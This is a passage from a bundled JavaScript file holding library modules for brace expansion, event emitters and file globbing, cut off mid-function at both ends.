postParts.shift(); p.push.apply(p, postParts); } parts.push.apply(parts, p); return parts; } function expandTop(str) { if (!str) return []; // I don't know why Bash 4.3 does this, but it does. // Anything starting with {} will have the first two bytes preserved // but *only* at the top level, so {},a}b will not expand to anything, // but a{},b}c will be expanded to [a}c,abc]. // One could argue that this is a bug in Bash, but since the goal of // this module is to match Bash's rules, we escape a leading {} if (str.substr(0, 2) === '{}') { str = '\\{\\}' + str.substr(2); } return expand(escapeBraces(str), true).map(unescapeBraces); } function identity(e) { return e; } function embrace(str) { return '{' + str + '}'; } function isPadded(el) { return /^-?0\d/.test(el); } function lte(i, y) { return i <= y; } function gte(i, y) { return i >= y; } function expand(str, isTop) { var expansions = []; var m = balanced('{', '}', str); if (!m || /\$$/.test(m.pre)) return [str]; var isNumericSequence = /^-?\d+\.\.-?\d+(?:\.\.-?\d+)?$/.test(m.body); var isAlphaSequence = /^[a-zA-Z]\.\.[a-zA-Z](?:\.\.-?\d+)?$/.test(m.body); var isSequence = isNumericSequence || isAlphaSequence; var isOptions = m.body.indexOf(',') >= 0; if (!isSequence && !isOptions) { // {a},b} if (m.post.match(/,.*\}/)) { str = m.pre + '{' + m.body + escClose + m.post; return expand(str); } return [str]; } var n; if (isSequence) { n = m.body.split(/\.\./); } else { n = parseCommaParts(m.body); if (n.length === 1) { // x{{a,b}}y ==> x{a}y x{b}y n = expand(n[0], false).map(embrace); if (n.length === 1) { var post = m.post.length ? expand(m.post, false) : ['']; return post.map(function(p) { return m.pre + n[0] + p; }); } } } // at this point, n is the parts, and we know it's not a comma set // with a single entry. // no need to expand pre, since it is guaranteed to be free of brace-sets var pre = m.pre; var post = m.post.length ? expand(m.post, false) : ['']; var N; if (isSequence) { var x = numeric(n[0]); var y = numeric(n[1]); var width = Math.max(n[0].length, n[1].length) var incr = n.length == 3 ? Math.abs(numeric(n[2])) : 1; var test = lte; var reverse = y < x; if (reverse) { incr *= -1; test = gte; } var pad = n.some(isPadded); N = []; for (var i = x; test(i, y); i += incr) { var c; if (isAlphaSequence) { c = String.fromCharCode(i); if (c === '\\') c = ''; } else { c = String(i); if (pad) { var need = width - c.length; if (need > 0) { var z = new Array(need + 1).join('0'); if (i < 0) c = '-' + z + c.slice(1); else c = z + c; } } } N.push(c); } } else { N = concatMap(n, function(el) { return expand(el, false) }); } for (var j = 0; j < N.length; j++) { for (var k = 0; k < post.length; k++) { var expansion = pre + N[j] + post[k]; if (!isTop || isSequence || expansion) expansions.push(expansion); } } return expansions; } },{"balanced-match":10,"concat-map":13}],12:[function(require,module,exports){ },{}],13:[function(require,module,exports){ module.exports = function (xs, fn) { var res = []; for (var i = 0; i < xs.length; i++) { var x = fn(xs[i], i); if (isArray(x)) res.push.apply(res, x); else res.push(x); } return res; }; var isArray = Array.isArray || function (xs) { return Object.prototype.toString.call(xs) === '[object Array]'; }; },{}],14:[function(require,module,exports){ // Copyright Joyent, Inc. and other Node contributors. // // Permission is hereby granted, free of charge, to any person obtaining a // copy of this software and associated documentation files (the // "Software"), to deal in the Software without restriction, including // without limitation the rights to use, copy, modify, merge, publish, // distribute, sublicense, and/or sell copies of the Software, and to permit // persons to whom the Software is furnished to do so, subject to the // following conditions: // // The above copyright notice and this permission notice shall be included // in all copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE // USE OR OTHER DEALINGS IN THE SOFTWARE. function EventEmitter() { this._events = this._events || {}; this._maxListeners = this._maxListeners || undefined; } module.exports = EventEmitter; // Backwards-compat with node 0.10.x EventEmitter.EventEmitter = EventEmitter; EventEmitter.prototype._events = undefined; EventEmitter.prototype._maxListeners = undefined; // By default EventEmitters will print a warning if more than 10 listeners are // added to it. This is a useful default which helps finding memory leaks. EventEmitter.defaultMaxListeners = 10; // Obviously not all Emitters should be limited to 10. This function allows // that to be increased. Set to zero for unlimited. EventEmitter.prototype.setMaxListeners = function(n) { if (!isNumber(n) || n < 0 || isNaN(n)) throw TypeError('n must be a positive number'); this._maxListeners = n; return this; }; EventEmitter.prototype.emit = function(type) { var er, handler, len, args, i, listeners; if (!this._events) this._events = {}; // If there is no 'error' event listener then throw. if (type === 'error') { if (!this._events.error || (isObject(this._events.error) && !this._events.error.length)) { er = arguments[1]; if (er instanceof Error) { throw er; // Unhandled 'error' event } throw TypeError('Uncaught, unspecified "error" event.'); } } handler = this._events[type]; if (isUndefined(handler)) return false; if (isFunction(handler)) { switch (arguments.length) { // fast cases case 1: handler.call(this); break; case 2: handler.call(this, arguments[1]); break; case 3: handler.call(this, arguments[1], arguments[2]); break; // slower default: len = arguments.length; args = new Array(len - 1); for (i = 1; i < len; i++) args[i - 1] = arguments[i]; handler.apply(this, args); } } else if (isObject(handler)) { len = arguments.length; args = new Array(len - 1); for (i = 1; i < len; i++) args[i - 1] = arguments[i]; listeners = handler.slice(); len = listeners.length; for (i = 0; i < len; i++) listeners[i].apply(this, args); } return true; }; EventEmitter.prototype.addListener = function(type, listener) { var m; if (!isFunction(listener)) throw TypeError('listener must be a function'); if (!this._events) this._events = {}; // To avoid recursion in the case that type === "newListener"! Before // adding it to the listeners, first emit "newListener". if (this._events.newListener) this.emit('newListener', type, isFunction(listener.listener) ? listener.listener : listener); if (!this._events[type]) // Optimize the case of one listener. Don't need the extra array object. this._events[type] = listener; else if (isObject(this._events[type])) // If we've already got an array, just append. this._events[type].push(listener); else // Adding the second element, need to change to array. this._events[type] = [this._events[type], listener]; // Check for listener leak if (isObject(this._events[type]) && !this._events[type].warned) { var m; if (!isUndefined(this._maxListeners)) { m = this._maxListeners; } else { m = EventEmitter.defaultMaxListeners; } if (m && m > 0 && this._events[type].length > m) { this._events[type].warned = true; console.error('(node) warning: possible EventEmitter memory ' + 'leak detected. %d listeners added. ' + 'Use emitter.setMaxListeners() to increase limit.', this._events[type].length); if (typeof console.trace === 'function') { // not supported in IE 10 console.trace(); } } } return this; }; EventEmitter.prototype.on = EventEmitter.prototype.addListener; EventEmitter.prototype.once = function(type, listener) { if (!isFunction(listener)) throw TypeError('listener must be a function'); var fired = false; function g() { this.removeListener(type, g); if (!fired) { fired = true; listener.apply(this, arguments); } } g.listener = listener; this.on(type, g); return this; }; // emits a 'removeListener' event iff the listener was removed EventEmitter.prototype.removeListener = function(type, listener) { var list, position, length, i; if (!isFunction(listener)) throw TypeError('listener must be a function'); if (!this._events || !this._events[type]) return this; list = this._events[type]; length = list.length; position = -1; if (list === listener || (isFunction(list.listener) && list.listener === listener)) { delete this._events[type]; if (this._events.removeListener) this.emit('removeListener', type, listener); } else if (isObject(list)) { for (i = length; i-- > 0;) { if (list[i] === listener || (list[i].listener && list[i].listener === listener)) { position = i; break; } } if (position < 0) return this; if (list.length === 1) { list.length = 0; delete this._events[type]; } else { list.splice(position, 1); } if (this._events.removeListener) this.emit('removeListener', type, listener); } return this; }; EventEmitter.prototype.removeAllListeners = function(type) { var key, listeners; if (!this._events) return this; // not listening for removeListener, no need to emit if (!this._events.removeListener) { if (arguments.length === 0) this._events = {}; else if (this._events[type]) delete this._events[type]; return this; } // emit removeListener for all listeners on all events if (arguments.length === 0) { for (key in this._events) { if (key === 'removeListener') continue; this.removeAllListeners(key); } this.removeAllListeners('removeListener'); this._events = {}; return this; } listeners = this._events[type]; if (isFunction(listeners)) { this.removeListener(type, listeners); } else { // LIFO order while (listeners.length) this.removeListener(type, listeners[listeners.length - 1]); } delete this._events[type]; return this; }; EventEmitter.prototype.listeners = function(type) { var ret; if (!this._events || !this._events[type]) ret = []; else if (isFunction(this._events[type])) ret = [this._events[type]]; else ret = this._events[type].slice(); return ret; }; EventEmitter.listenerCount = function(emitter, type) { var ret; if (!emitter._events || !emitter._events[type]) ret = 0; else if (isFunction(emitter._events[type])) ret = 1; else ret = emitter._events[type].length; return ret; }; function isFunction(arg) { return typeof arg === 'function'; } function isNumber(arg) { return typeof arg === 'number'; } function isObject(arg) { return typeof arg === 'object' && arg !== null; } function isUndefined(arg) { return arg === void 0; } },{}],15:[function(require,module,exports){ (function (process){ exports.alphasort = alphasort exports.alphasorti = alphasorti exports.setopts = setopts exports.ownProp = ownProp exports.makeAbs = makeAbs exports.finish = finish exports.mark = mark exports.isIgnored = isIgnored exports.childrenIgnored = childrenIgnored function ownProp (obj, field) { return Object.prototype.hasOwnProperty.call(obj, field) } var path = require("path") var minimatch = require("minimatch") var isAbsolute = require("path-is-absolute") var Minimatch = minimatch.Minimatch function alphasorti (a, b) { return a.toLowerCase().localeCompare(b.toLowerCase()) } function alphasort (a, b) { return a.localeCompare(b) } function setupIgnores (self, options) { self.ignore = options.ignore || [] if (!Array.isArray(self.ignore)) self.ignore = [self.ignore] if (self.ignore.length) { self.ignore = self.ignore.map(ignoreMap) } } function ignoreMap (pattern) { var gmatcher = null if (pattern.slice(-3) === '/**') { var gpattern = pattern.replace(/(\/\*\*)+$/, '') gmatcher = new Minimatch(gpattern) } return { matcher: new Minimatch(pattern), gmatcher: gmatcher } } function setopts (self, pattern, options) { if (!options) options = {} // base-matching: just use globstar for that. if (options.matchBase && -1 === pattern.indexOf("/")) { if (options.noglobstar) { throw new Error("base matching requires globstar") } pattern = "**/" + pattern } self.silent = !!options.silent self.pattern = pattern self.strict = options.strict !== false self.realpath = !!options.realpath self.realpathCache = options.realpathCache || Object.create(null) self.follow = !!options.follow self.dot = !!options.dot self.mark = !!options.mark self.nodir = !!options.nodir if (self.nodir) self.mark = true self.sync = !!options.sync self.nounique = !!options.nounique self.nonull = !!options.nonull self.nosort = !!options.nosort self.nocase = !!options.nocase self.stat = !!options.stat self.noprocess = !!options.noprocess self.maxLength = options.maxLength || Infinity self.cache = options.cache || Object.create(null) self.statCache = options.statCache || Object.create(null) self.symlinks = options.symlinks || Object.create(null) setupIgnores(self, options) self.changedCwd = false var cwd = process.cwd() if (!ownProp(options, "cwd")) self.cwd = cwd else { self.cwd = options.cwd self.changedCwd = path.resolve(options.cwd) !== cwd } self.root = options.root || path.resolve(self.cwd, "/") self.root = path.resolve(self.root) if (process.platform === "win32") self.root = self.root.replace(/\\/g, "/") self.nomount = !!options.nomount // disable comments and negation unless the user explicitly // passes in false as the option. options.nonegate = options.nonegate === false ? false : true options.nocomment = options.nocomment === false ? false : true deprecationWarning(options) self.minimatch = new Minimatch(pattern, options) self.options = self.minimatch.options } // TODO(isaacs): remove entirely in v6 // exported to reset in tests exports.deprecationWarned function deprecationWarning(options) { if (!options.nonegate || !options.nocomment) { if (process.noDeprecation !== true && !exports.deprecationWarned) { var msg = 'glob WARNING: comments and negation will be disabled in v6' if (process.throwDeprecation) throw new Error(msg) else if (process.traceDeprecation) console.trace(msg) else console.error(msg) exports.deprecationWarned = true } } } function finish (self) { var nou = self.nounique var all = nou ? [] : Object.create(null) for (var i = 0, l = self.matches.length; i < l; i ++) { var matches = self.matches[i] if (!matches || Object.keys(matches).length === 0) { if (self.nonull) { // do like the shell, and spit out the literal glob var literal = self.minimatch.globSet[i] if (nou) all.push(literal) else all[literal] = true } } else { // had matches var m = Object.keys(matches) if (nou) all.push.apply(all, m) else m.forEach(function (m) { all[m] = true }) } } if (!nou) all = Object.keys(all) if (!self.nosort) all = all.sort(self.nocase ? alphasorti : alphasort) // at *some* point we statted all of these if (self.mark) { for (var i = 0; i < all.length; i++) { all[i] = self._mark(all[i]) } if (self.nodir) { all = all.filter(function (e) { return !(/\/$/.test(e)) }) } } if (self.ignore.length) all = all.filter(function(m) { return !isIgnored(self, m) }) self.found = all } function mark (self, p) { var abs = makeAbs(self, p) var c = self.cache[abs] var m = p if (c) { var isDir = c === 'DIR' || Array.isArray(c) var slash = p.slice(-1) === '/' if (isDir && !slash) m += '/' else if (!isDir && slash) m = m.slice(0, -1) if (m !== p) { var mabs = makeAbs(self, m) self.statCache[mabs] = self.statCache[abs] self.cache[mabs] = self.cache[abs] } } return m } // lotta situps... function makeAbs (self, f) { var abs = f if (f.charAt(0) === '/') { abs = path.join(self.root, f) } else if (isAbsolute(f) || f === '') { abs = f } else if (self.changedCwd) { abs = path.resolve(self.cwd, f) } else { abs = path.resolve(f) } return abs } // Return true, if pattern ends with globstar '**', for the accompanying parent directory. // Ex:- If node_modules/** is the pattern, add 'node_modules' to ignore list along with it's contents function isIgnored (self, path) { if (!self.ignore.length) return false return self.ignore.some(function(item) { return item.matcher.match(path) || !!(item.gmatcher && item.gmatcher.match(path)) }) } function childrenIgnored (self, path) { if (!self.ignore.length) return false return self.ignore.some(function(item) { return !!(item.gmatcher && item.gmatcher.match(path)) }) } }).call(this,require('_process')) },{"_process":24,"minimatch":20,"path":22,"path-is-absolute":23}],16:[function(require,module,exports){ (function (process){ // Approach: // // 1. Get the minimatch set // 2. For each pattern in the set, PROCESS(pattern, false) // 3. Store matches per-set, then uniq them // // PROCESS(pattern, inGlobStar) // Get the first [n] items from pattern that are all strings // Join these together. This is PREFIX. // If there is no more remaining, then stat(PREFIX) and // add to matches if it succeeds. END. // // If inGlobStar and PREFIX is symlink and points to dir // set ENTRIES = [] // else readdir(PREFIX) as ENTRIES // If fail, END // // with ENTRIES // If pattern[n] is GLOBSTAR // // handle the case where the globstar match is empty // // by pruning it out, and testing the resulting pattern // PROCESS(pattern[0..n] + pattern[n+1 .. $], false) // // handle other cases. // for ENTRY in ENTRIES (not dotfiles) // // attach globstar + tail onto the entry // // Mark that this entry is a globstar match // PROCESS(pattern[0..n] + ENTRY + pattern[n .. $], true) // // else // not globstar // for ENTRY in ENTRIES (not dotfiles, unless pattern[n] is dot) // Test ENTRY against pattern[n] // If fails, continue // If passes, PROCESS(pattern[0..n] + item + pattern[n+1 .. $]) // // Caveat: // Cache all stats and readdirs results to minimize syscall. Since all // we ever care about is existence and directory-ness, we can just keep // `true` for files, and [children,...] for directories, or `false` for // things that don't exist. module.exports = glob var fs = require('fs') var minimatch = require('minimatch') var Minimatch = minimatch.Minimatch var inherits = require('inherits') var EE = require('events').EventEmitter var path = require('path') var assert = require('assert') var isAbsolute = require('path-is-absolute') var globSync = require('./sync.js') var common = require('./common.js') var alphasort = common.alphasort var alphasorti = common.alphasorti var setopts = common.setopts var ownProp = common.ownProp var inflight = require('inflight') var util = require('util') var childrenIgnored = common.childrenIgnored var isIgnored = common.isIgnored var once = require('once') function glob (pattern, options, cb) { if (typeof options === 'function') cb = options, options = {} if (!options) options = {} if (options.sync) { if (cb) throw new TypeError('callback provided to sync glob') return globSync(pattern, options) } return new Glob(pattern, options, cb) } glob.sync = globSync var GlobSync = glob.GlobSync = globSync.GlobSync // old api surface glob.glob = glob glob.hasMagic = function (pattern, options_) { var options = util._extend({}, options_) options.noprocess = true var g = new Glob(pattern, options) var set = g.minimatch.set if (set.length > 1) return true for (var j = 0; j < set[0].length; j++) { if (typeof set[0][j] !== 'string') return true } return false } glob.Glob = Glob inherits(Glob, EE) function Glob (pattern, options, cb) { if (typeof options === 'function') { cb = options options = null } if (options && options.sync) { if (cb) throw new TypeError('callback provided to sync glob') return new GlobSync(pattern, options) } if (!(this instanceof Glob)) return new Glob(pattern, options, cb) setopts(this, pattern, options) this._didRealPath = false // process each pattern in the minimatch set var n = this.minimatch.set.length // The matches are stored as {: true,...} so that // duplicates are automagically pruned. // Later, we do an Object.keys() on these. // Keep them as a list so we can fill in when nonull is set. this.matches = new Array(n) if (typeof cb === 'function') { cb = once(cb) this.on('error', cb) this.on('end', function (matches) { cb(null, matches) }) } var self = this var n = this.minimatch.set.length this._processing = 0 this.matches = new Array(n) this._emitQueue = [] this._processQueue = [] this.paused = false if (this.noprocess) return this if (n === 0) return done() for (var i = 0; i < n; i ++) { this._process(this.minimatch.set[i], i, false, done) } function done () { --self._processing if (self._processing <= 0) self._finish() } } Glob.prototype._finish = function () { assert(this instanceof Glob) if (this.aborted) return if (this.realpath && !this._didRealpath) return this._realpath() common.finish(this) this.emit('end', this.found) } Glob.prototype._realpath = function () { if (this._didRealpath) return this._didRealpath = true var n = this.matches.length if (n === 0) return this._finish() var self = this for (var i = 0; i < this.matches.length; i++) this._realpathSet(i, next) function next () { if (--n === 0) self._finish() } } Glob.prototype._realpathSet = function (index, cb) { var matchset = this.matches[index] if (!matchset) return cb() var found = Object.keys(matchset) var self = this var n = found.length if (n === 0) return cb() var set = this.matches[index] = Object.create(null) found.forEach(function (p, i) { // If there's a problem with the stat, then it means that // one or more of the links in the realpath couldn't be // resolved. just return the abs value in that case. p = self._makeAbs(p) fs.realpath(p, self.realpathCache, function (er, real) { if (!er) set[real] = true else if (er.syscall === 'stat') set[p] = true else self.emit('error', er) // srsly wtf right here if (--n === 0) { self.matches[index] = set cb() } }) }) } Glob.prototype._mark = function (p) { return common.mark(this, p) } Glob.prototype._makeAbs = function (f) { return common.makeAbs(this, f) } Glob.prototype.abort = function () { this.aborted = true this.emit('abort') } Glob.prototype.pause = function () { if (!this.paused) { this.paused = true this.emit('pause') } } Glob.prototype.resume = function () { if (this.paused) { this.emit('resume') this.paused = false if (this._emitQueue.length) { var eq = this._emitQueue.slice(0) this._emitQueue.length = 0 for (var i = 0; i < eq.length; i ++) { var e = eq[i] this._emitMatch(e[0], e[1]) } } if (this._processQueue.length) { var pq = this._processQueue.slice(0) this._processQueue.length = 0 for (var i = 0; i < pq.length; i ++) { var p = pq[i] this._processing-- this._process(p[0], p[1], p[2], p[3]) } } } } Glob.prototype._process = function (pattern, index, inGlobStar, cb) { assert(this instanceof Glob) assert(typeof cb === 'function') if (this.aborted) return this._processing++ if (this.paused) { this._processQueue.push([pattern, index, inGlobStar, cb]) return } //console.error('PROCESS %d', this._processing, pattern) // Get the first [n] parts of pattern that are all strings. var n = 0 while (typeof pattern[n] === 'string') { n ++ } // now n is the index of the first one that is *not* a string. // see if there's anything else var prefix switch (n) { // if not, then this is rather simple case pattern.length: this._processSimple(pattern.join('/'), index, cb) return case 0: // pattern *starts* with some non-trivial item. // going to readdir(cwd), but not include the prefix in matches. prefix = null break default: // pattern has some string bits in the front. // whatever it starts with, whether that's 'absolute' like /foo/bar, // or 'relative' like '../baz' prefix = pattern.slice(0, n).join('/') break } var remain = pattern.slice(n) // get the list of entries. var read if (prefix === null) read = '.' else if (isAbsolute(prefix) || isAbsolute(pattern.join('/'))) { if (!prefix || !isAbsolute(prefix)) prefix = '/' + prefix read = prefix } else read = prefix var abs = this._makeAbs(read) //if ignored, skip _processing if (childrenIgnored(this, read)) return cb() var isGlobStar = remain[0] === minimatch.GLOBSTAR if (isGlobStar) this._processGlobStar(prefix, read, abs, remain, index, inGlobStar, cb) else this._processReaddir(prefix, read, abs, remain, index, inGlobStar, cb) } Glob.prototype._processReaddir = function (prefix, read, abs, remain, index, inGlobStar, cb) { var self = this this._readdir(abs, inGlobStar, function (er, entries) { return self._processReaddir2(prefix, read, abs, remain, index, inGlobStar, entries, cb) }) } Glob.prototype._processReaddir2 = function (prefix, read, abs, remain, index, inGlobStar, entries, cb) { // if the abs isn't a dir, then nothing can match! if (!entries) return cb() // It will only match dot entries if it starts with a dot, or if // dot is set. Stuff like @(.foo|.bar) isn't allowed. var pn = remain[0] var negate = !!this.minimatch.negate var rawGlob = pn._glob var dotOk = this.dot || rawGlob.charAt(0) === '.' var matchedEntries = [] for (var i = 0; i < entries.length; i++) { var e = entries[i] if (e.charAt(0) !== '.' || dotOk) { var m if (negate && !prefix) { m = !e.match(pn) } else { m = e.match(pn) } if (m) matchedEntries.push(e) } } //console.error('prd2', prefix, entries, remain[0]._glob, matchedEntries) var len = matchedEntries.length // If there are no matched entries, then nothing matches. if (len === 0) return cb() // if this is the last remaining pattern bit, then no need for // an additional stat *unless* the user has specified mark or // stat explicitly. We know they exist, since readdir returned // them. if (remain.length === 1 && !this.mark && !this.stat) { if (!this.matches[index]) this.matches[index] = Object.create(null) for (var i = 0; i < len; i ++) { var e = matchedEntries[i] if (prefix) { if (prefix !== '/') e = prefix + '/' + e else e = prefix + e } if (e.charAt(0) === '/' && !this.nomount) { e = path.join(this.root, e) } this._emitMatch(index, e) } // This was the last one, and no stats were needed return cb() } // now test all matched entries as stand-ins for that part // of the pattern. remain.shift() for (var i = 0; i < len; i ++) { var e = matchedEntries[i] var newPattern if (prefix) { if (prefix !== '/') e = prefix + '/' + e else e = prefix + e } this._process([e].concat(remain), index, inGlobStar, cb) } cb() } Glob.prototype._emitMatch = function (index, e) { if (this.aborted) return if (this.matches[index][e]) return if (isIgnored(this, e)) return if (this.paused) { this._emitQueue.push([index, e]) return } var abs = this._makeAbs(e) if (this.nodir) { var c = this.cache[abs] if (c === 'DIR' || Array.isArray(c)) return } if (this.mark) e = this._mark(e) this.matches[index][e] = true var st = this.statCache[abs] if (st) this.emit('stat', e, st) this.emit('match', e) } Glob.prototype._readdirInGlobStar = function (abs, cb) { if (this.aborted) return // follow all symlinked directories forever // just proceed as if this is a non-globstar situation if (this.follow) return this._readdir(abs, false, cb) var lstatkey = 'lstat\0' + abs var self = this var lstatcb = inflight(lstatkey, lstatcb_) if (lstatcb) fs.lstat(abs, lstatcb) function lstatcb_ (er, lstat) { if (er) return cb() var isSym = lstat.isSymbolicLink() self.symlinks[abs] = isSym // If it's not a symlink or a dir, then it's definitely a regular file. // don't bother doing a readdir in that case. if (!isSym && !lstat.isDirectory()) { self.cache[abs] = 'FILE' cb() } else self._readdir(abs, false, cb) } } Glob.prototype._readdir = function (abs, inGlobStar, cb) { if (this.aborted) return cb = inflight('readdir\0'+abs+'\0'+inGlobStar, cb) if (!cb) return //console.error('RD %j %j', +inGlobStar, abs) if (inGlobStar && !ownProp(this.symlinks, abs)) return this._readdirInGlobStar(abs, cb) if (ownProp(this.cache, abs)) { var c = this.cache[abs] if (!c || c === 'FILE') return cb() if (Array.isArray(c)) return cb(null, c) } var self = this fs.readdir(abs, readdirCb(this, abs, cb)) } function readdirCb (self, abs, cb) { return function (er, entries) { if (er) self._readdirError(abs, er, cb) else self._readdirEntries(abs, entries, cb) } } Glob.prototype._readdirEntries = function (abs, entries, cb) { if (this.aborted) return // if we haven't asked to stat everything, then just // assume that everything in there exists, so we can avoid // having to stat it a second time. if (!this.mark && !this.stat) { for (var i = 0; i < entries.length; i ++) { var e = entries[i] if (abs === '/') e = abs + e else e = abs + '/' + e this.cache[e] = true } } this.cache[abs] = entries return cb(null, entries) } Glob.prototype._readdirError = function (f, er, cb) { if (this.aborted) return // handle errors, and cache the information switch (er.code) { case 'ENOTSUP': // https://github.com/isaacs/node-glob/issues/205 case 'ENOTDIR': // totally normal. means it *does* exist. this.cache[this._makeAbs(f)] = 'FILE' break case 'ENOENT': // not terribly unusual case 'ELOOP': case 'ENAMETOOLONG': case 'UNKNOWN': this.cache[this._makeAbs(f)] = false break default: // some unusual error. Treat as failure. this.cache[this._makeAbs(f)] = false if (this.strict) { this.emit('error', er) // If the error is handled, then we abort // if not, we threw out of here this.abort() } if (!this.silent) console.error('glob error', er) break } return cb() } Glob.prototype._processGlobStar = function (prefix, read, abs, remain, index, inGlobStar, cb) { var self = this this._readdir(abs, inGlobStar, function (er, entries) { self._processGlobStar2(prefix, read, abs, remain, index, inGlobStar, entries, cb) }) } Glob.prototype._processGlobStar2 = function (prefix, read, abs, remain, index, inGlobStar, entries, cb) { //console.error('pgs2', prefix, remain[0], entries) // no entries means not a dir, so it can never have matches // foo.txt/** doesn't match foo.txt if (!entries) return cb() // test without the globstar, and with every child both below // and replacing the globstar. var remainWithoutGlobStar = remain.slice(1) var gspref = prefix ? [ prefix ] : [] var noGlobStar = gspref.concat(remainWithoutGlobStar) // the noGlobStar pattern exits the inGlobStar state this._process(noGlobStar, index, false, cb) var isSym = this.symlinks[abs] var len = entries.length // If it's a symlink, and we're in a globstar, then stop if (isSym && inGlobStar) return cb() for (var i = 0; i < len; i++) { var e = entries[i] if (e.charAt(0) === '.' && !this.dot) continue // these two cases enter the inGlobStar state var instead = gspref.concat(entries[i], remainWithoutGlobStar) this._process(instead, index, true, cb) var below = gspref.concat(entries[i], remain) this._process(below, index, true, cb) } cb() } Glob.prototype._processSimple = function (prefix, index, cb) { // XXX review this. Shouldn't it be doing the mounting etc // before doing stat? kinda weird? var self = this this._stat(prefix, function (er, exists) { self._processSimple2(prefix, index, er, exists, cb) }) } Glob.prototype._processSimple2 = function (prefix, index, er, exists, cb) { //console.error('ps2', prefix, exists) if (!this.matches[index]) this.matches[index] = Object.create(null) // If it doesn't exist, then just mark the lack of results if (!exists) return cb() if (prefix && isAbsolute(prefix) && !this.nomount) { var trail = /[\/\\]$/.test(prefix) if (prefix.charAt(0) === '/') { prefix = path.join(this.root, prefix) } else { prefix = path.resolve(this.root, prefix) if (trail) prefix += '/' } } if (process.platform === 'win32') prefix = prefix.replace(/\\/g, '/') // Mark this as a match this._emitMatch(index, prefix) cb() } // Returns either 'DIR', 'FILE', or false Glob.prototype._stat = function (f, cb) { var abs = this._makeAbs(f) var needDir = f.slice(-1) === '/' if (f.length > this.maxLength) return cb() if (!this.stat && ownProp(this.cache, abs)) { var c = this.cache[abs] if (Array.isArray(c)) c = 'DIR' // It exists, but maybe not how we need it if (!needDir || c === 'DIR') return cb(null, c) if (needDir && c === 'FILE') return cb() // otherwise we have to stat, because maybe c=true // if we know it exists, but not what it is. } var exists var stat = this.statCache[abs] if (stat !== undefined) { if (stat === false) return cb(null, stat) else { var type = stat.isDirectory() ? 'DIR' : 'FILE' if (needDir && type === 'FILE') return cb() else return cb(null, type, stat) } } var self = this var statcb = inflight('stat\0' + abs, lstatcb_) if (statcb) fs.lstat(abs, statcb) function lstatcb_ (er, lstat) { if (lstat && lstat.isSymbolicLink()) { // If it's a symlink, then treat it as the target, unless // the target does not exist, then treat it as a file. return fs.stat(abs, function (er, stat) { if (er) self._stat2(f, abs, null, lstat, cb) else self._stat2(f, abs, er, stat, cb) }) } else { self._stat2(f, abs, er, lstat, cb) } } } Glob.prototype._stat2 = function (f, abs, er, stat, cb) { if (er) { this.statCache[abs] = false return cb() } var needDir = f.slice(-1) === '/' this.statCache[abs] = stat if (abs.slice(-1) === '/' && !stat.isDirectory()) return cb(null, false, stat) var c = stat.isDirectory() ? 'DIR' : 'FILE' this.cache[abs] = this.cache[abs] || c if (needDir && c !== 'DIR') return cb() return cb(null, c, stat) } }).call(this,require('_process')) },{"./common.js":15,"./sync.js":17,"_process":24,"assert":9,"events":14,"fs":12,"inflight":18,"inherits":19,"minimatch":20,"once":21,"path":22,"path-is-absolute":23,"util":28}],17:[function(require,module,exports){ (function (process){ module.exports = globSync globSync.GlobSync = GlobSync var fs = require('fs') var minimatch = require('minimatch') var Minimatch = minimatch.Minimatch var Glob = require('./glob.js').Glob var util = require('util') var path = require('path') var assert = require('assert') var isAbsolute = require('path-is-absolute') var common = require('./common.js') var alphasort = common.alphasort var alphasorti = common.alphasorti var setopts = common.setopts var ownProp = common.ownProp var childrenIgnored = common.childrenIgnored function globSync (pattern, options) { if (typeof options === 'function' || arguments.length === 3) throw new TypeError('callback provided to sync glob\n'+ 'See: https://github.com/isaacs/node-glob/issues/167') return new GlobSync(pattern, options).found } function GlobSync (pattern, options) { if (!pattern) throw new Error('must provide pattern') if (typeof options === 'function' || arguments.length === 3) throw new TypeError('callback provided to sync glob\n'+ 'See: https://github.com/isaacs/node-glob/issues/167') if (!(this instanceof GlobSync)) return new GlobSync(pattern, options) setopts(this, pattern, options) if (this.noprocess) return this var n = this.minimatch.set.length this.matches = new Array(n) for (var i = 0; i < n; i ++) { this._process(this.minimatch.set[i], i, false) } this._finish() } GlobSync.prototype._finish = function () { assert(this instanceof GlobSync) if (this.realpath) { var self = this this.matches.forEach(function (matchset, index) { var set = self.matches[index] = Object.create(null) for (var p in matchset) { try { p = self._makeAbs(p) var real = fs.realpathSync(p, self.realpathCache) set[real] = true } catch (er) { if (er.syscall === 'stat') set[self._makeAbs(p)] = true else throw er } } }) } common.finish(this) } GlobSync.prototype._process = function (pattern, index, inGlobStar) { assert(this instanceof GlobSync) // Get the first [n] parts of pattern that are all strings. var n = 0 while (typeof pattern[n] === 'string') { n ++ } // now n is the index of the first one that is *not* a string. // See if there's anything else var prefix switch (n) { // if not, then this is rather simple case pattern.length: this._processSimple(pattern.join('/'), index) return case 0: // pattern *starts* with some non-trivial item. // going to readdir(cwd), but not include the prefix in matches. prefix = null break default: // pattern has some string bits in the front. // whatever it starts with, whether that's 'absolute' like /foo/bar, // or 'relative' like '../baz' prefix = pattern.slice(0, n).join('/') break } var remain = pattern.slice(n) // get the list of entries. var read if (prefix === null) read = '.' else if (isAbsolute(prefix) || isAbsolute(pattern.join('/'))) { if (!prefix || !isAbsolute(prefix)) prefix = '/' + prefix read = prefix } else read = prefix var abs = this._makeAbs(read) //if ignored, skip processing if (childrenIgnored(this, read)) return var isGlobStar = remain[0] === minimatch.GLOBSTAR if (isGlobStar) this._processGlobStar(prefix, read, abs, remain, index, inGlobStar) else this._processReaddir(prefix, read, abs, remain, index, inGlobStar) } GlobSync.prototype._processReaddir = function (prefix, read, abs, remain, index, inGlobStar) { var entries = this._readdir(abs, inGlobStar) // if the abs isn't a dir, then nothing can match! if (!entries) return // It will only match dot entries if it starts with a dot, or if // dot is set. Stuff like @(.foo|.bar) isn't allowed. var pn = remain[0] var negate = !!this.minimatch.negate var rawGlob = pn._glob var dotOk = this.dot || rawGlob.charAt(0) === '.' var matchedEntries = [] for (var i = 0; 